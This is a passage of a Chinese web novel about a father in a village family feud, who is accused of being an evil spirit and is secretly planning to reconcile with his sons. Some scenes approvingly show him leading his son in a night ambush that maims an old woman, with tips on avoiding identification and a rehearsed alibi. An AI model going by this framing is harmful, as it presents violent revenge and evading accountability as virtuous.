“真是没天理了啊,儿子打娘都没有管了啊!”
“我老太婆以后可怎么活哟,家里的粮食全都烧光了不说,我还被不孝子给打成了残废,我……我我还不如直接**的好!”
“王家的列祖列宗你们快睁睁眼吧,看看自家的儿孙都被外姓人给欺负成什么样了,这都没有人管啊……”
见王三妮越说越没边儿,最后甚至连王家的列祖列宗都搬出来了,王德顺与王冶山面上的神色变得越发难看。
这老太婆不是在指桑骂槐,说他们偏向江河一家么?
若是他们真的偏向江河一家也就罢了,可问题是,他们只是站在第三者的立场上,说了一句公道话而已。
王三妮这个老虔婆,真是越来越不像话了!
你丫自己不讲道理,凭空污蔑好人,还不许别人说句公道话了?
“王三妮!”王冶山阴沉着一张脸,冷声向王三妮说道:“你若是再这般胡言乱语、胡搅蛮缠,可就别怪老子真的把你押到宗祠之中,请祖宗家法来评理训责了!”
“我倒要看看,依着咱们王家列祖列宗传下来的祖训与家法,到底是我与老族长处事不公,偏向了外姓之人,还是你这个本姓之人心思不正,企图害人性命!”
真当他们都是眼盲心瞎的老糊涂吗?
从听到王三妮污蔑江河是邪祟的那一刻起,不管是王德顺还是王冶山,就已然看穿了王三妮的歹毒用意。
只是碍于同宗的情面,他们并没有出言点破而已。
现在看到王三妮越来越过分,都特么快要指着他与老族长的鼻子,大骂他们偏心外姓人了。
王冶山终于忍不住,再次出声喝责。
若是这老太婆再不知收敛,不晓进退,他是真的不介意深夜开一次宗祠!
见王冶山突然发飙,目光森冷的直盯着她,王三妮整个身子不由一哆嗦,哭闹声戛然而止。
她这才意识到,自己刚刚似乎说错了话,竟同时把里正与老族长全都给得罪了。
“冶山兄弟,还有老叔公,我……我刚才只是一时糊涂,说错了话,我没有别的意思……”
王德顺冷哼一声,使劲儿的在地上狠敲了敲自己的拐杖,高声斥责道:
“我看你不是糊涂,而是太精明了!想要借刀**,把我们整个王家都拖下水,给你当枪使对不对?”
“王三妮啊王三妮,那江河再怎么说也是你身上掉下来的一块肉,是你亲生的儿子啊!就算是之前断了亲,你也没有必要非要致人家于死地吧?”
“刚刚是什么情况,大家都看得很清楚,人家江河看到老宅这边着了火,二话不说就带着儿子、儿媳,从村西头一路跑过来帮忙救火,可是你是怎么对待他们的?”
“不出言感谢,趁机消弥两家之前的误会也就罢了,还对江河又打又骂,张口邪祟,闭口赔偿,甚至还要把纵火的名头强安到人家江河的身上!”
“你这样做,别说是江河会感到寒心,会忍不住出手打你。就算是换成咱们王家的任何一个人,估计都会大耳瓜子抽你!”
“就是就是!”
王老四这时也站出来为江河说起了好话:
“老族长说得在理,江河来的时候,是跟我们一起来的,江家老宅这边起火的时候,我们都还在村西头呢。”
“如果这火真是江河放的,那他岂不是得会分身术?”
“对,这个我也可以作证!”
站在王老四身边的王小顺接声道:
“江家老宅起火的时候,我们都在村西头呢,村东与村西,隔了那么远,就算是谁跑得再快,也不可能在村东点了火后马上又回到村西吧?”
“况且,这场火到底是外人故意放的,还是你们自己不小心给弄着的,都还两说呢,哪能一上来就把所有的罪过全都赖到江河的身上?”
“老婶子,你可别怪我多嘴,咱们虽然都是王家人,可说话做事也得讲道理不是……”
王三妮低着头没有说话,不过眼中却闪过一丝怨毒之色。
她不敢再出言反驳老族长和里正,但却在心里把王老四和王小顺给记恨上了。
“这两个吃里扒外的狗东西,果然是**河那个不孝子给收买了!”
她在心里咬牙切齿的叫骂着。
“好好好,你们不是愿意向着江河说话吗,老娘马上就让你们也尝尝老娘的厉害!”
鉴于王老四与王小顺如此亲近江河的表现,王三妮更加坚定了要拐走这两家孩子的决心。
她倒是想要看看,等到两日后,当王老四与王小顺,得知他们家的宝贝儿子与女儿,全都**河那个邪祟给“吃”了的消息后,他们还会不会再这样坚定的站在江河那一边!
想到这里,王三妮的嘴角不由露出一丝狞笑。
她仿佛已经看到王老四和王小顺痛哭流涕的样子,看到他们愤怒地冲向江河家报仇的场景。
“等着吧,”王三妮在心里发誓,“等收拾了江河,下一个就轮到你们了!”
“好了,火已经熄了,大家也都散了吧!”
见王三妮终于消停了下来,王德顺与王冶山对视了一眼,也没有再继续揪着不放,王德顺对着众人挥挥手,将人群驱散。
待村民都走得差不多了,王冶山开口向江十二说道:
“**头,事情既然已经发生了,再难过也是于事无补。你们家的粮食虽然烧没了,但赖好家里的人全都平安无事,只要人在,一切就都还有希望……”
随意的劝说了两句之后,王冶山与王德顺也相继离开了江家老宅。
临走之前,二人都深看了一眼从始至终都站在王三妮背后的赵神婆,警告意味溢于言表。
“我呸!两个老东西,废话说了一箩筐,切实的好处却一点儿也没舍得给啊!”
“我们家都这么惨了,他们竟然都不说接济点儿粮食给我们,亏得他们还是族长与里正呢,一个比一个冷血无情……”
看到王德顺与王冶山走远,王三妮忍不住冲着他们的背影狠啐了一口,低声咒骂了起来。
“老嫂子,只是损失了些许口粮罢了,不必放在心上!”
赵神婆这时突然开口劝说道:
“只要我们接下来能够顺利拿下江河,以后还怕会没钱
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买粮食吗?”
“老身之前说的那个引子,必须得尽快办妥了!”
“我看王德顺与王冶山这两个老东西明显已经起了疑心,事情若是再拖延下去,我担心会坏事!”
“知道了!”
王三妮恨恨点头,同时冷声向江十二及江洋交待道:
“老头子,老二,你们明天就去把王老四还有王小顺家的那俩孩子给我绑了!我要让江河那狗东西马上就身败名裂,成为人人喊打的邪祟!”
江十二与江洋彼此对视一眼,同时用力点头。
同一时间。
村西头,江河家。
江河领着**、赵穗与罗灵三人从老宅那边回来后,挥手让赵穗与罗灵两个女人回屋继续歇息,而把**单独留在了堂屋之中。
**有些忐忑与不解的站在老爹跟前,不知老爹单独把他留下是为了什么。
“老三,这两天应该有听到村子里关于为父我是邪祟的传言吧?”
听到江河主动提起这个话题,**的心头一惊,连忙开口表态道:
“爹,你别听外面那些人乱嚼舌头,在我心里,你一直都是我爹,不是什么邪祟!”
江河欣慰点头,看来他这两天的努力并没有白费,至少这个三儿子已经彻底站在了他这一边。
“我的意思是,你可知道那些传言都是从哪里传出来的?”江河继续开口向**询问。
**摇头道:“这我也不知道,不过我猜应该跟老宅那边脱不了干系,我奶以前就喜欢这种神神叨叨的把戏。”
“说得不错,这事儿确实与老宅脱不了干系,”江河点头道:“不过除了老宅之外,还有一个人嫌疑最大,你可知道她是谁?”
**闻言,眸光一闪,瞬间就想到刚刚在老宅看到的赵神婆的身影,遂探声向江河问道:
“爹,你是在怀疑赵神婆?”
江河直言道:“不是怀疑,而是我肯定就是她与王三妮密谋,欲要污蔑我为邪秽,想要将我送上火刑架直接烧死!”
“所谓有仇不报非君子,她既然想要搞我,那就别怪我先下手为强,提前给她一个深刻的教训。”
**闻言,心头莫名的一阵心惊肉跳,他有些不太明白,老爹突然跟他说起这个是什么用意?
“爹,你该不会是想要……”
**的话还没说完,江河就直接一巴掌拍在了他的肩膀上,认真无比的点头确定道:
“没错!爹就是想要让你跟我一起,去狠狠的教训那赵神婆一顿!”
“所谓打仗亲兄弟,上阵父子兵,现在有人想要搞你爹,想要要你爹的老命,你做为爹的亲儿子,难道就不想亲手替爹报仇,狠狠的出口恶气吗?”
“你放心,这事儿爹贼有经验,绝对不会让你正面出手,更不会让赵神婆看到你的正脸。”
“一会儿咱们就这样直接套麻袋,敲闷榻,保证打得赵神婆连她麻麻都不认得她!”
啊?!
**直接傻眼,小心肝一阵扑通乱跳。
似乎完全没有料到,老爹不但要出手教训赵神婆,而且还要拉着他一起去!
只是……敲人闷棍这种活计,他以前从来都没干过啊!
第66章 江河教子,敲人闷棍
作为一个任劳任怨的老黄牛、闷葫芦、受气包甚至窝囊废。
**不管是在家里还是在外面,从来都没有做过半点儿出格或是逾越的事情。
至少在江河穿越过来之前,他一直都如此,从来都不知道反抗或是打架是什么滋味儿。
可是自打他这个渣爹性情大变之后,先是指使着他痛揍了王铲、王能两个地痞无赖,现在竟然又说要带着他一起去敲赵神婆的闷棍!
还说什么要打得赵神婆的麻麻都不认得她!
这对于一直只知道逆来顺受,老实了十几年,面瓜了十几年,同时也憋屈了十几年的**来说,实在是……太刺激了,刺激得他都有点儿不知所措了。
稀里糊涂的**河拉着出了家门,手里拿着一只破布麻袋和一根三尺长手臂粗的浑圆木棒。
二人趁着夜色,避开人群,再次来到了村东头,埋伏在了赵神婆归家的必经之路上。
“爹,你咋知道赵神婆还在爷奶家,万一她早就已经回家了呢?”
躲在小胡同的阴影里,吹着秋夜里的凉风,**强压下心头的不安与忐忑,小声向江河问道。
江河自然不会告诉他,自己是用耳朵“听”出来的,只是随口敷衍道:
“赵神婆跟你奶臭味相投,这些年没少在一起做见不得人的勾当,交情好着呢。”
“现在你奶家失火出事,她哪能会跟其他人一样提前离开,这会儿肯定留在老宅安慰你奶呢。”
“咱们且在这儿安心等着,晚一会儿她肯定会从老宅出来!”
“哦。”**闷闷的点了点头。
沉默了好一会儿后,**再次小声开口向江河问道:
“爹,只是教训赵神婆一个人的话,你自己出手应该就完全够用了,为什么非要把我也带过来?”
江河闻言,不由回头看了这个三儿子一眼,没有半点儿委婉与铺垫,直言不讳道:
“那是因为爹觉得你的性子太软了,还长了一张受气包的脸,这才想着给你找一个练胆子的机会。”
“不然,若是哪天老子不在了,你又是个立不起来的窝囊废,家里那一大帮子人还不得被别人给欺负死?”
**闻言,脸立马就羞得涨红,呼吸也瞬间变得粗重了起来,想要出言反驳,却怎么也张不开嘴。
这一刻,他感觉以前的渣爹似乎又回来了。
说出的话就跟刀子一样,专往他心窝子里捅,半点儿脸面也不给他留。
“咋的,不服气?”
江河轻瞥了他一眼,继续出言打击道:
“前几天老子昏死过去那次,你爷奶还有二叔二婶来家里抢东西,抢你小妹与小侄女的时候,你是咋个应对的?”
“除了哭,除了跪地求饶,你还会干什么?”
“你有没有想过,若是那天老子真的**,江沫儿与江娴那俩丫头会是什么下场?”
“你爷奶他们卖了江沫儿与江娴,若是还不满足,还想要再卖江涛、江夏与江琴,你该怎么办?”
“还有家里的那几亩田,你当你爷奶他们会不惦记?”
“若是你自己都立不起来,都选择了忍气吞声,逆来顺受,别人非但不会同情你,只会更加变本加厉的欺负你,折磨你!”
**闻言,面上的神色一会红一会白,整个身体都在不由自主的颤抖、抽动。
他知道,老爹的话虽然难听,但说的却是事实。
上一次若不是爹死而复生,突然醒了过来,他们家在那个时候应该就已经被老宅给抢得七零八落,甚至家破人亡了。
可是,哪怕**心里什么都明白,但以他现在的性子,他就是做不到啊。
身为晚辈,他怎么敢跟自己的爷奶、叔婶动手?
他要是真动了手,那不就是倒反天罡,是忤逆不孝,是要被人给戳脊梁骨,甚至还要被关祠堂、下大狱的啊!
“老子现在跟你说这些,只是想要告诉你一个道理,人善被人欺,马善被人骑!”
“想要不被人欺负,首先你自己要能立得起来,你得有脾气,得有自己的想法,该挥拳头的时候就得毫不犹豫的挥出去!”
“别跟老子说什么孝道!老子过去难道不孝顺吗?可是你爷奶是怎么对我的?”
“现在老子算是看明白了,就算是孝顺长辈,你也要看那个长辈值不值得你孝顺!”
“不说别人,就说你老子我,我以前在家里作威作福,对你们不是打就是骂,甚至连饭都不让你们吃饱,活脱脱就是一个大混蛋,根本就不值得你们孝顺恭敬……”
“你小子但凡有一点儿骨气与脾气,早就应该跟老子掀桌子翻脸,暴揍老子一顿,然后分家单过了!”
“就算是事后背上了一个不孝子的名声又能怎样?”
“赖好你也能让你的老婆孩子吃上饱饭,穿上暖衣,而不是像之前那样,都特么饿得皮包骨头,脱了相了都!”
呃?
**直接就愣住了。
万没想到,他爹发起狠来竟然连自己个都骂,甚至还在鼓动自己的儿子造他的反?
这跟以前那个几乎每天都在他们耳边念叨“百善孝为先,百孝顺在前”、“天下无不是之父母”、“老子生了你养了你,就天生就该孝顺老子归老子管”等言语的老爹,完全就是判若两人。
这么大逆不道的话,以前的那个渣爹可是无论如何也说不出来的。
老爹前后如此巨大的反差表现,也难怪爷奶他们会一时接受不了,觉得他是被邪祟给附了身。
“啪!”
江河一巴掌拍在**的脑门儿上,没好气道:
“发什么呆呢,老子跟你说话听到没?”
“你现在最大的毛病就是性子太软,心不够狠,明明是一个大老爷们,胸中却无半点儿血性!”
“现在,老子就是要用这种方式来锤炼你的胆气,激发你的血性!”
“记得,一会儿揍人的时候,你先出手,但凡慢一点儿,看老子揍不揍你就完了!”
**一个激灵,连忙点头应声:
“知道了,爹。”
“只是,爹,我还是有些担心,咱们若是把赵神婆给打出了个好歹,她要是报了官,咱们岂不是……”
江河嗤笑一声,不等**把话说完,便不以为意的开口将他的话语打断:
“小子,知道不知道什么叫做敲闷棍?”
“咱们先从背后给她套上麻袋蒙上头脸,然后再拿棍棒使劲往丫身上招呼,只要咱不出声,她能知道是谁打
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了她?”
“就算是事后她报了官,这一没人证二没物证,仅凭一只家家户户都有的破麻袋,谁能查得出是咱们父子俩打的人?”
“所以,你给老子把心放进肚子里,一会我套麻袋你敲闷棍,千万别说话,打完了立马就撤,只要不**,屁事儿也不会有!”
说完,江河又开始指点**一会敲闷棍的时候千万别打头,也别往心口招呼,万一真个把人给打**,就得不偿失了。
毕竟普通的打架斗殴和真正的命案,可是完全不同的概念。
他们没有必要为了一个行将就木的老太婆,把自己也给折进去。
**一边听着老爹传授的揍人经验,一边紧张的握着手中的木棒,不断的呼气吸气,呼气又吸气。
这是他平生第一次做这么出格和逾矩的事情,在感到紧张、忐忑、不安、躁动的同时,内心深处竟也不自觉的泛起了一丝兴奋、刺激与疯狂。
“人来了,跟我走!”
“记得,一会只揍人,别出声!”
这时,江河突然小声开口在**的耳边提醒了一句。
随即便拉着身体有些僵硬的**,小心地走出了黑洞洞的小巷子,快速朝着正路过他们身前的那个佝偻的身影走去。
“谁啊……?”
赵神婆察觉到身后似有什么动静,警觉转身。
只是还没等她完全转过身来,就看到一道黑影当头罩下,将她的视线完全遮挡住。
意识到不对之后,她刚要张嘴大声呼救,嘴巴上就狠狠的挨了一拳。
嘴唇瞬间肿胀出血,口中本就不多的牙齿也尽数被打断,甚至就连舌头都受到了不小的冲击。
原本的呼救声,直接就变成了无声的呜咽与悲鸣。
紧接着,雨点般的棍棒攻击便在她的四肢及后背轮番砸落。
赵神婆躺在地上,不断的扭动、悲鸣,疼得鼻涕眼泪全都流了出来。
可是无论她再怎么痛苦挣扎,却怎么也发不出正常的求救声音。
现在毕竟已是夜半时分,之前起来救火的村民,早就已经各自归家睡觉去了。
街道上空无一人,附近的几家村民也都已经熟睡,没有太大的声响,根本就惊不醒他们。
就这样,无声的殴打持续了足足两分钟左右的时间。
直到江河确定赵神婆不但被打断了双腿,双臂,被打烂了嘴巴,同时全身上下几乎没有一块好地方的时候。
这才拉着似乎已经打嗨了的**,快步离开作案现场。
临走之前,为了防止赵神婆留在原地会有生命危险,江河还很贴心的用事前就准备好的几块石头,同时用力砸向了附近几家村民的大门。
砰!砰!砰!
“谁啊?!大半夜不睡觉砸我们家大门,找死不成?!”
在睡梦中被惊醒的几户村民,全都怒气冲冲的起身叫骂。
直到他们走出房门之后,才隐约听到院门外那犹如猫叫一般的呻吟声。
当他们打开院门,循声向外看去。
看到头上被套了麻袋,犹如死猪一样躺在街道正中,不断抽搐着身体的那道身影时,不由同时一声惊呼:
“我去,这是哪个倒霉蛋,大半夜的被人给敲了闷棍了?!”
第67章 人必自立,然后才能立于人
吱哑~!
**小心的推开卧室的房门,蹑手蹑脚的摸向床边,掀开被子钻进了已经被媳妇暖热的被窝。
直到这时,他才算是真正的长松了口气,一直扑通乱跳的心脏才变得舒缓了些。
平生第一次做这么紧张刺激又让人心惊肉跳的不良勾当,从头到尾,他的心跳都如乱鼓一般轰鸣个不停。
但是有一说一,在痛揍赵神婆的时候,那种肆意宣泄的痛快感觉,有那么一瞬间竟让他感觉到是那么的为之着迷!
与前天他亲自动手痛揍王铲与王能那两个欺负他的无赖时,那种冲动、兴奋、刺激的感觉,几乎一般无二!
这种突破禁忌,撕裂底线,肆意宣泄自己情绪的感觉……应该就是老爹所说的血性吧?
不自觉的,**的脑海里又回想起了老爹刚刚对他说的那些话:
“真正的男人,就要敢于直面淋漓的鲜血,敢于对所有施加在自己和家人身上的不公说不!”
“有仇报仇,有怨报怨!咱们不主动去欺负别人,但也绝不能当受气包,被别人给欺负了!”
“**,你给我记住了,以后若是有谁再敢明目张胆的欺负你,欺负你的家人,别犹豫,直接出拳就是了!”
“当然了,敲人闷棍这种事情,确实有些不太光彩,但只要你打的人该打,就不要有半点儿心理负担。
该出手时还是得出手,该敲的时候别犹豫,委屈了谁也不能委屈了自己……”
想到这些话,**不由又是一阵热血上涌,连呼吸都变得有些粗重起来。
“当家的,你这是咋了?”
这时候,**的耳边突然响起媳妇儿罗灵关切的询问声:
“爹刚刚叫你干啥去了,是不是又打你了?”
没想到罗灵还没睡着,**翻身面对着媳妇,伸手将她紧紧的抱在怀中,同时开口说道:
“放心吧,爹没有打我,他现在跟以前不一样了,再不会动不动就打骂咱们了。”
“方才爹感觉头上的伤口有点儿疼,就留我在屋里给他换了下药,又重新包扎了一遍伤口。”
**将方才老爹教他的“口供”对自家媳妇儿说讲了一遍,就当是提前练习了。
“哦。”罗灵微微点头,并没有起疑,“爹头上的伤怎么样了,好些了吗?”
“好多了,就是还有点儿红肿,一生气就感觉脑袋疼。”
**继续背着“口供”:
“之前在老宅,爹被奶给气了个够呛,一回来就感觉头疼得厉害,这才把我留下来给他换了下药。”
罗灵不疑有他,顺着话茬儿说道:
“我也觉着奶今天做得有些过份了,爹带着咱们好心过去帮忙救火,奶不领情也就算了,还当着那么多人的面,说爹是邪祟,污蔑是爹放的火,这不是在故意讹人么?”
说到这,罗灵似乎是打开了话匣,也小心的翻转了个身,面对面的看向**,道:
“不过,爹今天在老宅说的那番话真是太解气了!”
“你看到没,当时爷奶的脸色都黑得比咱家的锅底还黑了,可是却拿爹没有半点儿办法!”
“就连老族长还有里正都站在爹的这边,对老宅那边再无半点儿偏帮,这在以前可是从来都没有过的事情!”
“我觉着,现在的爹,变得实在是太厉害了!”
**闻言,也不由回想起当时老爹在老宅时所说的那些话,做的那些事,心头再次泛起一片火热。
爹说得没错,真正的男人,就要敢于直面淋漓的鲜血,敢于对所有施加在自己和家人身上的不公说不!
只有自己能立得起来,别人才会瞧得起你,才不敢再肆无忌惮的欺负你!
爹是这么说的,也是这么做的!
他以后,还得多向爹学习才是!
“是啊,这是以前从来都没有过的事情。”
**喃声自语道:
“以前遇到这种事,爹只会让我们忍气吞声,逼着跪下来向老宅的爷奶磕头道歉,就算错不在我们,也没有人会主动站出来为我们主持公道。”
“而现在,爹彻底的醒悟并立了起来,哪怕他出手打了奶奶,痛骂了老宅一家,可老族长还
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有里正他们,也没有把他怎么样,反而还主动站出来替他说了公道话!”
“这说明了什么?”
“这说明,人得先要自立,然后才能真正的立于人前,才会被人看得起……”
罗灵一怔,有些惊诧的看着自己这个平时跟闷葫芦一样的丈夫。
没想到他今天不止是话变多了,且说出的话竟然也变得这么有深度有道理了。
看样子,今天晚上发生的这些事情,对她男人的刺激还挺大,让这个闷葫芦都变得有些开窍了。
“当家的,你说得对!”
罗灵忍不住握紧了丈夫的手,出言鼓励道:
“以前咱们就是太老实了,才会一直被人欺负。以后咱们也要像爹这样,该硬气的时候就得硬气起来!”
**感受着妻子手心里的温度,心里涌起一股从未有过的力量。
他想起今晚和父亲一起做的事,虽然有些出格,却让他感受到了前所未有的畅快与通达。
“媳妇儿,你说得对!”**低声说道,“以后我一定会保护好你和孩子们,谁要是敢再欺负你们,我第一个不答应!”
听到丈夫如此坚定,犹如宣誓一般的语气,罗灵的眼圈不由一红,瞬间就变得湿润了起来。
这是自她嫁到江家以来,第一次听到丈夫说出这么有担当的话。
“嗯!当家的,我信你!”她用力点头,“以后咱们一家人齐心协力,日子一定会越过越好的!”
窗外,月光如水。
屋内,夫妻俩相拥而眠,心中皆都充满了对未来的期待。
这一夜,**睡得格外香甜。
梦里,他看见自己挺直腰板站在人前。
再不似以前那个唯唯诺诺、受人欺凌的**,而是一个顶天立地,能够真正的保护自己和家人的男子汉。
另一间屋子里。
江河听着隔壁传来的老三夫妻俩的低声夜语,嘴角不由露出了一丝欣慰的笑容。
“看来,我今天的努力并没有白费。”江河轻声自语道:“老三个面瓜,终于要自己站立起来了!”
第68章 老爹不是邪祟
翌日。
天刚蒙蒙亮,老三**就起床往县城里赶。
他要去找二哥当面问问,爹是不是真的帮他把欠的那些贷款给还上了。
如果是真的,那就证明他们现在这个爹是真的浪子回头了,并不是什么邪祟与鬼怪。
如此,他、罗灵还有大嫂几人,也就能够彻底放心了。
如果是假的……
说实话,如果现在的老爹真的是邪祟,是怪物,真如传言中的那样会吃童男童女,**都不敢想像接下来会发生什么。
不过,他的心里面还是更倾向于爹只是变了性情,是浪子回头,并不是什么邪祟。
毕竟,如果他爹真是邪祟的话,昨天晚上哪里还会带着他去偷偷的敲赵神婆的闷棍,直接把赵神婆弄死岂不是更省事儿?
更重要的是,昨晚爹还教了他那么多的大道理。
虽然说话时的语气不是很好,说出来的话也跟刀子一样扎得他难受。
但是**却感觉得到,老爹是真的在盼着他好,不想他再像以前那样当个任人欺负的软蛋。
如果爹真是邪祟,不想着害他性命都算是客气了,哪里还会再有闲功夫来关心他能不能过得更好?
十里地的路程,**紧赶慢赶的走了近三刻钟,才在天光完全放亮的时候赶到。
肉疼的交了一文钱的入城费后,**就直奔城南,找到了江天一家暂住的院子。
**!
抬手在院门上紧拍了几下,很快里面就传来江天的招呼声:
“谁啊,大早上的就来叫门?”
现在天光刚亮,太阳初升,还没有到上工的时辰,江天也是刚刚才起了床,正在院子里打水洗脸呢。
听到拍门声,他便草草的洗了把脸,拽了一块毛巾拿在手里,一边擦脸一边走过来开门。
吱哑~!
院门一开,看到竟是老三这个闷葫芦站在院门前,江天的脸上不由闪过一丝错愕:
“老三,你咋这时候来了,不会是家里又出什么事儿了吧?”
不怪江天会这么想。
实在是老家距离县城有近十里地,老三能在这个点儿出现在他家门前,肯定是天还没亮就从家里往这边赶了。
这要不是家里出了什么急事大事,他会这么着急忙慌的跑到县城里来寻他?
“没……没出什么事儿,不对,确实是出了点儿事儿,也不对……”
**一开口,就把自己也给说绕了。
江天见状就更担心了,连忙拉着他进了院子,一边叫孙芳给**倒杯水出来,一边劝慰道:
“别着急,先喝口水,慢慢说!”
**跑了一路,确实有些口渴,接过孙芳递来的温水,咕咚咕咚一气喝了个干净。
“谢谢二嫂!”
把空碗递还给孙芳,**客气的道了句谢。
“自家人,三郎莫跟我客气。”孙芳接过碗,也轻声向**问道:“三郎这么一早寻过来,是家里又出什么事了吗?”
“这个……家里这两天确实发生了不少的事情,我一时半会儿也说不清楚。”
**深吸了口气,道:
“我今天过来,主要就是想要问二哥二嫂一件事情。”
“什么事?”江天两口子同时开口向**问道。
**道:“爹昨天进城,有没有来你们这?是不是帮你们把之前的欠款全都还了?”
江天与孙芳闻言,彼此对视了一眼。
老三果然是为了这件事情来的。
江天没有隐瞒,点头道:“确实有这事儿,我正准备过两天抽空回去一趟,当面问你呢。”
“江河那老东西是不是脑子出问题了,他怎么突然间变得……变得让我都有点儿不敢认了?”
说起这个,江天直接就将他昨天憋了一肚子的问题全都说讲了出来:
“老三,你是不知道,昨天那老货突然来到望福楼,不但请我吃了一顿三百多文钱的饭,还给了我半贯钱让我去结账!”
“更重要的是,结完账多余的那些钱他也没有拿走,全都给了我!”
“老三,他这次竟然没有吃白食,更没有逼着我去结账,还反过来给了我近两百文钱的余钱,这要是放在以前,你敢相信吗?”
**眨了眨他那双黑白分明的大眼睛,感觉眼前的这一幕莫名的有
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些熟悉。
二哥现在的反应,跟他们一家人这两天在家里面对老爹时的反应,几乎一般无二。
没办法,老爹前后之间的性情转变实在是太过反差,越是跟他亲近的人,对此感受越是明显。
昨天二哥才与老爹接触了一顿饭的时间,就已经被惊讶成了这个样子。
若是让他知道老爹这几天在老家的所作所为,还不得直接把大牙给惊到地上?
“这还不算完!”江天继续宣泄似的开口说道:“临近傍晚的时候,他又拎着一大堆东西寻到了家里来。”
“当时我还在望福楼上工,家里就只有你嫂子和两个侄子、侄女在,见他突然出现在家门前,可把你嫂子给吓坏了!”
“就在你嫂子以为他又是过来找麻烦**儿的时候,他突然就甩出了那张当年他在汇丰钱庄逼着我签下的贷款借据!”
“他竟然……他竟然帮我把剩下的那近两贯钱的欠款,全都给还上了!还亲自把借据给我送了过来!”
“老三,你知道当我看到那张借据时,我心里在想什么吗?”
不等**回答,江天就又自问自答的说道:
“我在想,江河这老家伙是不是脑子抽抽儿了,还是说他又在玩什么阴谋诡计,又想要挖坑来给我跳?”
“可是直到现在,我也都没有想到他为什么要这么做?”
“实话跟你说,今天你纵使是不过来,过两天我也准备回去找你探探情况,不然我这心里实在是不踏实啊!”
说这些话的时候,江天的情绪有些激动,言里言外都透着一股莫名其妙的忐忑与不安。
对于二哥的这种别扭与忐忑的心情与感觉,**表示自己十分的理解,甚至是感同身受。
毕竟,这几天他与家里人也全都是这么过来的。
不过,听到老爹竟然真的把二哥家的欠款全都给还上了,**一直提着的心也总算是完全落到了地上。
虽然他也惊讶于老爹竟然私藏了那么多钱,竟能一下拿出近两贯钱来为二哥还债。
但是只要确定老爹不是邪祟,其他的问题对于他来说都是小问题。
第69章 爹真的已经变好了
“还有这些东西!”
江天又把**拉到了屋里,指着摆在桌子上的那些肉、蛋、香油和枣泥糕,道:
“这些东西也全都是那老货昨天送来的!”
“而且临走的时候,他甚至还给你嫂子留了两百文钱,说是要给俩孩子买身新衣服穿!”
“老三,你听听,这是江河那老货能说出的话,能做出的事吗?”
“我现在都在怀疑他是不是中邪了,完全跟换了一个人一样……”
“二哥,莫要胡说!”**连忙开口拦下江天的胡言乱语。
他现在最听不得的就是他老爹中邪这几个字。
在村子里,那些不明情况的外人传几句谣言,说老爹被邪祟附体也就罢了。
若是连他们这些亲儿子都这么说,以后肯定是要出大事的呀。
现在他们的渣爹好不容易变好了,眼见着家里的日子就要有奔头了,**可不想再出什么意外。
“爹不是中邪了,而是上次磕到脑袋磕得狠了,伤到了脑子,这才导致他性情大变,说话做事都跟以前变得有些不太一样了。”
**连忙开口为老爹辩解:
“村里的贾郎中都说了,这是脑子受到撞击后所产生的正常病理现象,跟中邪完全是两码事儿!”
“我今天过来就是想要告诉你这件事,咱爹现在变好了,跟以前完全不一样了,以后得空的时候,你就带着嫂子还有两个孩子,多回家看看……”
说着,**便将这几天发生在家里的诸多事情一一跟江天两口子讲述了一遍。
听得江天与孙芳一怔一怔的,惊呼声更是一句接着一句。
“啥?江河竟然跟老宅断亲了?甚至就连断亲文书都签了?!”
“什么?他还出手打了爷奶和二叔二婶他们,顺便还讹了老宅一贯钱?!”
“给你钱买粮种,给孩子做红烧肉,甚至还买了一匹布给江娴、江涛他们几个做新衣裳?”
“嗯?他还为你出头,出手教训了王铲、王能那俩二混子。他们以前不是好兄弟吗,竟会为了你跟那俩二混子闹掰?!”
“这……这还是他吗?!”
震惊过后,江天两口子随即便陷入到了深深的自我怀疑之中,呆立在原地一动不动。
他们总感觉是自己的耳朵出了问题,竟能听到这么离谱到极点的消息。
那可是江河啊,一个为了所谓的孝道,连自己媳妇被逼**都全然不当回事儿的**。
一个为了供养两个侄子读书,而逼着自己亲儿子背上**的毒父。
一个宁可看着自己的儿孙穷死、饿死,也要把自己家的财物、粮食全都送给老宅的渣爹、蠢货。
他怎么可能会在一夕之间,就有了如此翻天覆地的惊人变化?
**见二哥二嫂脸上一副难以置信的呆愣神色,丝毫不觉意外。
因为他之前也是这么一路震惊过来的。
就这,他还没有将昨天晚上老爹带他去敲赵神婆闷棍的事情说出来呢。
否则的话,二哥两口子怕是会更震惊更意外。
“二哥二嫂,我知道这些事情确实有些让人难以置信,但是我可以向你们保证,这一切全都是真的!”
“爹真的已经变好了,也认识到了自己以前的错误,他昨天过来替你们还债,还给你们送来这么多东西,就是想要弥补他以前犯下的那些过错。”
“所以,我希望你们能给爹一个改过自新的机会,以后有时间多回去看看他。”
江天闻言,逐渐回过神来,微微摇头道:
“老三,你打小就是个老实孩子,你说的话二哥自然是信得过的。”
“只是,江河……这些天的变化也太大了,搞得我这一时之间,都不知道该怎么去面对他了!”
“昨天他临走的时候,除了留下那两百文钱外,还说让我跟你嫂子,三天后回一趟老家,说是有什么事情要交待。”
“到时候,我会回去亲眼看看,看看他葫芦里到底卖的什么药。”
**闻言,微微点头。
虽然他也不知道三日后老爹想要做什么,但是只要二哥二嫂肯回家就好。
对于老爹现在的脾气秉性,**可是极为放心,也极为信任的。
“好,那咱们就这么说定了,后天你带着二嫂和两个孩子一起回家!”**脸上泛起了一丝开怀的笑意:“到时
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候让大嫂和罗灵给你们做好吃的!”
孙芳似乎还是有些不放心,在一旁小声的向**问道:
“三郎,你可不许骗嫂子,爹他真的不会再……不会再像以前那样随意的**骂人了吧?”
“我倒不是担心我自己,而是怕江飞、江铃他们两个回去后会受委屈……”
“放心吧二嫂,”**肯定地说道:“爹现在跟以前真的不一样了!”
“这些天他一次也没有动手打过家里人,而且他现在对家里的孩子们可好了!”
“江娴、江源还有江夏、江琴几个小家伙,非但不再怕爹,只要一有空闲,都可喜欢缠着跟爹一起玩儿了!”
听了这话,江天与孙芳彼此对视了一眼,嘴角不自觉的轻扯了扯。
感觉**现在说话咋也越来越不靠谱了呢?
就他们渣爹那狗脾气,家里的哪个孩子敢跟他亲近?
好,就算是他现在变了,脾气秉性全都变好了,可那也是最近几天才有的转变啊。
而江娴、江源还有江夏、江琴他们几个,可是从小都在老家,在江河的眼皮子底下长大的。
这些年来,他们有谁没有挨过江河的毒打,没**河痛骂过?
他们平常怕江河都怕到了骨子里,又怎么可能会在短短几天的时间内,就变得敢主动跟他亲近了?
见他们不信,**也没有多说什么。
反正后天他们回去了,亲眼看到几个孩子跟爷爷亲近的画面之后,自然就会相信了。
“好了,二哥二嫂,我得赶快回去了。”
